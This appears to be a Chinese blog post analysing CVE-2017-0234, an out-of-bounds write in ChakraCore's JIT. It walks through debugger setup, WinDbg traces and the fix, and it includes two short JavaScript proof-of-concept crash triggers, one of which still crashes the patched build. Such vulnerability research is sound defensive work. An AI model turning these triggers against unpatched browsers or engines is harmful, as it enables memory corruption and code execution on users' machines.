# CVE-2017-0234 分析1.0 ### ChakraCore 基础知识 - 这个cve是关于ChakraCore的漏洞, 既然要调试漏洞, 我们先了解下ChakraCore的基本特征. - 我们直接阅读ChakraCore的官方文档 https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview ![ChakraCore](https://github.com/microsoft/ChakraCore/wiki/images/chakracore_pipeline.p![](https://i.imgur.com/UqQnN9t.png) ng) - 总的来讲, ChakraCore是一个由微软为Edge浏览器开发的javascript引擎, 在ChakraCore的执行过程中, 分为解释执行(Interpreter)和JIT(Just-in-time). - 我们来理一理, 一个js函数, 从编写完成后到最后在edge上呈现出效果, 经历了些什么 :) 1. 当这个函数第一次被执行时, ChakraCore的语法解析器将这个函数的源码转换为一个抽象语法树(AST). 2. 随后这个抽象语法树(AST) 被字节码生成器(Bytecode Generator)翻译为字节码(Bytecode), 这些字节码 直接解释执行(Interpreter) 3. 在解释执行(Interpreter)期间, 解释器会收集一些程序信息(profile), 例如变量类型, 函数调用次数等等. 4. 收集到的程序信息(profile)将帮助 JIT编译器生成高度优化的机器码(jited code), 用生成的机器码(jited code)替换 原先的被优化的函数或者循环体 进行执行. 由于jitdcode是经过高度优化的机器码, 所以之后的执行效率将快于之前的解释执行. 5. 此外, 后台JIT会根据profile数据预测代码可能会出现的情况, 从而更好的优化代码. 但是我们知道js的变量类型是可以动态修改的. 当js的某些动态特征使代码行为打破了profile的预测, 会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 同时继续信息收集. 这个转换过程就是bailout. ### 调试环境搭建 > 我的调试环境: win10 + vs2015 + WinDbg Preview - 在github ChakraCore的项目中 搜索 CVE-2017-0234, 找到有漏洞的版本及对应的commint, 然后chckout回有漏洞的版本 下载ChakraCore的源码, 编译 > git clone https://github.com/Microsoft/ChakraCore.git > cd ChakraCore > git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6 - vs编译chakracore - 可以直接用vs可以直接打开ChakraCore\Build\Chakra.Core.sln,然后编译, 我是用的vs2015 选为debug版x64, 选择ch 右键设置为启动项, 现在可以直接编译ChakraCore. 如果我们要运行我们的js代码, 可以设置ch的调试命令参数. ![](https://i.imgur.com/0xWvSbz.png) - windbg调试环境搭建 - 在windows store下载windbg preview 设置符号表服务器 > SRV*c:\edgesymbol*http://msdl.microsoft.com/download/symbols ![](https://i.imgur.com/RTFbvRv.png) - 同样的, 我们设置ch.exe为启动项 ![](https://i.imgur.com/FgJOlvo.png) ### crash - poc ```javascript= function write(begin,end,step,num){ for(var i=begin;i<end;i+=step) view[i]=num; } var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); write(0,0x4000,1,0x1234); write(0x3000000e,0x40000010,0x10000,0x6e617579); ``` - 我们先看下poc的效果 - 直接用windbg运行,在命令窗口输入 g ![](https://i.imgur.com/FpZvaUn.png) - 我们看到,程序没找到`[rsi+r9*4]` 的地址, 产生了越界写入 - 我们查看下此时的栈 ![](https://i.imgur.com/rwSy4cS.png) ### 分析 - 当chakracore收集信息, 发现代码中的循环次信息后, JIT会生成jited code, 那我们在JIT的循环代码调用入口下断点, 然后单步跟踪 - 通过windbg观察崩溃时栈区, JIT生成的循环代码调用入口很有可能是在chakracore!Js::InterpreterStackFrame::DoLoopBodyStart,循环主体很有可能在chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a - 我们重新运行,对这两个函数下断点 > bu chakracore!Js::InterpreterStackFrame::DoLoopBodyStart > bu chakracore!Js::InterpreterStackFrame::CallLoopBody > bu chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a > g - 我们调试发现, 这个大致流程是: chakracore发现有大量重复的循环-->JIT进行优化-->DoLoopBodyStart调用CallLoopBody. - 我们打印下程序崩溃时的栈, 根据栈回溯观察它的整个调用逻辑 ```asm 0:005> k # Child-SP RetAddr Call Site 00 00000045`e9efd740 00007ffd`012bacca 0x000001be`88f60167 01 00000045`e9efd7f0 00007ffd`012bba59 chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6218] 02 00000045`e9efd830 00007ffd`012ad7cc chakracore!Js::InterpreterStackFrame::DoLoopBodyStart+0x629 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 6026] 03 00000045`e9efd930 00007ffd`0129fef7 chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>+0x13c [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5790] 04 00000045`e9efd990 00007ffd`013497ef chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0x397 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 5692] 05 00000045`e9efd9e0 00007ffd`012c4ec5 chakracore!Js::InterpreterStackFrame::ProcessProfiled+0x3ef [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterhandler.inl @ 49] 06 00000045`e9efda50 00007ffd`012bf7a9 chakracore!Js::InterpreterStackFrame::Process+0x585 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 3478] 07 00000045`e9efdbe0 00007ffd`012bf957 chakracore!Js::InterpreterStackFrame::InterpreterHelper+0xe59 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 2036] 08 00000045`e9efe100 000001be`88ef0fba chakracore!Js::InterpreterStackFrame::InterpreterThunk+0x97 [d:\realworld\chakra\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 1776] 09 00000045`e9efe190 00007ffd`01744a82 0x000001be`88ef0fba ``` ``` InterpreterStackFrame::InterpreterThunk InterpreterStackFrame::InterpreterHelper InterpreterStackFrame::Process InterpreterStackFrame::ProcessProfiled InterpreterStackFrame::OP_ProfiledLoopStart InterpreterStackFrame::ProfiledLoopBodyStart InterpreterStackFrame::DoLoopBodyStart InterpreterStackFrame::CallLoopBody ``` - 可以很清楚的看到, 先是由Interpreter执行, 然后经过 ProcessProfiled收集信息, 最后生成了jitedcode, 并执行jitedcode ```cpp LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration) { ... ... else { AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck); newOffset = this->CallLoopBody(entryPointInfo->jsMethod); } ... ... } ``` - 在newOffset = this->CallLoopBody(entryPointInfo->jsMethod);下断点, 其中 CallLoopBody的参数就是循环体jitedcode 的地址 这里是jit生成的循环的入口地址, ![break](https://i.imgur.com/35mFjbB.png) - 然后我们重点看下这个循环体的汇编, 对照着poc.js看. 我们在这里打个断点, 跟进去动态调试 >0:005> bu 000002be`170f0000 >0:005> g - 在第一个write(0,0x4000,1,0x1234);循环次数只有0x4000的时候, 不会有问题, 我们可以看到填充值是0x1234. ![](https://i.imgur.com/tYZLn5V.png) - 但是在调用 write(0x3000000e,0x40000010,0x10000,0x6e617579);的时候发生越界. 生成的jied code如下 - 关键代码 ```asm ... ... ... 00000250`9eb00101 mov r10d, r10d 00000250`9eb00104 mov r11, rdx 00000250`9eb00107 shr r11, 30h // 判断对象是int还是obj 00000250`9eb0010b jne 00000250`9eb002df 00000250`9eb00111 cmp qword ptr [rdx], rsi // 判断对象是不是TypedArray<unsigned int,0,1> 00000250`9eb00114 jne 00000250`9eb002df 00000250`9eb0011a mov rsi, qword ptr [rdx+38h] 00000250`9eb0011e nop 00000250`9eb0011f nop 00000250`9eb00120 mov r11, 2479CF60AB8h 00000250`9eb0012a cmp rsp, qword ptr [r11] 00000250`9eb0012d jle 00000250`9eb00319 00000250`9eb00133 mov dword ptr [rdi+9397Ch], ecx 00000250`9eb00139 inc ecx 00000250`9eb0013b cmp r9d, r10d // 比较循环中的begin和end 00000250`9eb0013e jge 00000250`9eb0017d 00000250`9eb00140 nop 00000250`9eb00141 mov r11, r14 00000250`9eb00144 mov r13, r11 00000250`9eb00147 shr r13, 30h 00000250`9eb0014b cmp r13, 1 00000250`9eb0014f jne 00000250`9eb0032b 00000250`9eb00155 mov r13d, r11d 00000250`9eb00158 mov dword ptr [rsi+r9*4], r13d 00000250`9eb0015c xxx r9d, r8d 00000250`9eb0015f jno 00000250`9eb00120 ... ... ... ``` ``` 0:005> dqs rdx 0000024f`9e9d2940 00007ffc`ff982918 chakracore!Js::TypedArray<unsigned int,0,1>::`vftable' 0000024f`9e9d2948 0000024f`9e999540 0000024f`9e9d2950 00000000`00000000 0000024f`9e9d2958 00000000`00000000 ... ``` ![](https://i.imgur.com/Mm4tb6q.png) > R13=0x0001000000010000 //这里是取出for循环的step=0x0001000000010000 > > R14=0x000100006e617579 //这里是取出view数组要赋予的值0x000100006e617579 > > R15=0x0001000040000010 //这里是取出for循环的end=0x0001000040000010 > > RAX=0x000100003000000e //这里是取出for循环的start=0x000100003000000e 每个数值的高4位还有个0001, 这个0001是做标记用, 标记它是int还是obj - 这里为什么要进行判断呢? 其实这就是文章开始介绍的chakracore的特性5, > 后台JIT会根据profile数据预测可能出现的情况, 但是它也会时刻判断是不是出现了预期之外的事情. 比如这里的判断对象是int还是obj, 判断对象是不是TypedArray<unsigned int,0,1>, 如果不是,它会跳到00000250`9eb002df , 会停止执行当前的jiedcode, 转回去执行相对较慢的解释执行(Interpreter), 即产生bailout. - 我们看下跳到的位置对应的汇编, 的确证实了我们的想法. ``` 0:005> u 00000250`9eb002df 00000250`9eb002df mov dword ptr [rdi-0B0AE8h],0Dh 00000250`9eb002e9 lea rsi,[rbx+4E2A8h] 00000250`9eb002f0 mov qword ptr [rdi-0B0ACCh],rsi 00000250`9eb002f7 jmp 00000250`9eb002f9 00000250`9eb002f9 mov qword ptr [rsp],rax 00000250`9eb002fd mov rcx,24F9E8D3C98h 00000250`9eb00307 mov rax,offset chakracore!LinearScanMD::SaveAllRegistersAndBailOut (00007ffc`ff626750) 00000250`9eb00311 call rax ``` - 我们接着看产生漏洞的地方 ```asm 0:005> t 00000250`9eb00155 458beb mov r13d,r11d 0:005> t 00000250`9eb00158 46892c8e mov dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=???????? 0:005> r rax=000100003000000e rbx=000002479cf61f18 rcx=0000000000000001 rdx=0000024f9e9d2940 rsi=0000024f9eac0000 rdi=0000024f9e9847c4 rip=000002509eb00158 rsp=00000097869fda20 rbp=00000097869fdac0 r8=0000000000010000 r9=000000003000000e r10=0000000040000010 r11=000100006e617579 r12=00000097869fdf10 r13=000000006e617579 r14=000100006e617579 r15=0001000040000010 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 00000250`9eb00158 46892c8e mov dword ptr [rsi+r9*4],r13d ds:00000250`5eac0038=???????? ``` - 最终代码运行到这里发生了crash,rsi是buffer对象的内存基地址,r9是数组下标0x3000000e,r13给数组的赋值,整个过程都没有检查r9的范围,造成了数组越界访问。 - 这里还有个问题, JIT在使用buffer对象时, 没有检查buffer是否被释放,这就是第二个漏洞0236。 据说就这块代码有三个洞, 除开oob和uaf之外, 还有个“特性”漏洞,可惜自己还没能搞明白, 先挖个坑(0.0) - 我们先继续看这个越界访问的 patch ### patch ![](https://i.imgur.com/PSpQLCA.png) (patch)[https://github.com/microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3] ```cpp if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */) { if (isProfilableStElem || !instr->IsDstNotAlwaysConvertedToInt32() || ( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray || baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) && !instr->IsDstNotAlwaysConvertedToNumber() ) ) { // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB), // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds // checks in jitted code. if (!GetIsAsmJSFunc()) { IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd(); if (idxOpnd) { StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym; Value * idxValue = FindValue(idxSym); IntConstantBounds idxConstantBounds; if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds)) { BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType); int32 upperBound = idxConstantBounds.UpperBound(); int32 lowerBound = idxConstantBounds.LowerBound(); if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH)) { eliminatedLowerBoundCheck = true; eliminatedUpperBoundCheck = true; canBailOutOnArrayAccessHelperCall = false; } } } } else { eliminatedLowerBoundCheck = true; eliminatedUpperBoundCheck = true; canBailOutOnArrayAccessHelperCall = false; } } } ``` 我们来分析下, 为什么它这样改过后代码就变得安全了呢 - 我们checkout到打了patch的版本,并重新编译 > git checkout a1345ad48064921e8eb45fa0297ce405a7df14d3 - 我们可以先看一下patch后的JIT代码是怎么样的, 我们重复上面的流程 - 来到关键代码 ![](https://i.imgur.com/Yj41eBn.png) ![](https://i.imgur.com/uO6csJf.png) - 这里他有比较索引上界是否超出了buffer内存的边界 ### 关于对patch的思考 - 我们看下它的patch代码, 有个地方很奇怪 ```cpp if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH)) ``` - 一般来讲, 我们对的循环的索引检查应该是 0<=index<length; 但是这里它对上界的检查确实 upperBound乘上indirScale 小于MAX_ASMJS_ARRAYBUFFER_LENGTH(这个值在vs里全局搜索,发现它的值是0x100000000 //4GB) 这里很有可能还是存在漏洞:) - 我们换个poc([出处](https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code)), 在已经打完patch的chakracore运行(a1345ad). 也发现了cracsh ```cpp function jitBlock(arr, index) { if (index <0 || index >= 0x40000000) return; arr[index] = 0xdeedbeef; } var arr = new Uint32Array(0x40000/4) for(var i=0; i<0x10000; i++){ jitBlock(arr, 0) } jitBlock(arr, 0x40000 / 4) ``` ![](https://i.imgur.com/uadWqVo.png) END ---- 参考链接 http://math1as.com/2018/02/07/CVE-2017-0234-analysis/ https://slab.qq.com/news/tech/1572.html http://eternalsakura13.com/2018/07/03/cve-2017-0234-3.0/ https://www.zerodayinitiative.com/blog/2017/10/5/check-it-out-enforcement-of-bounds-checks-in-native-jit-code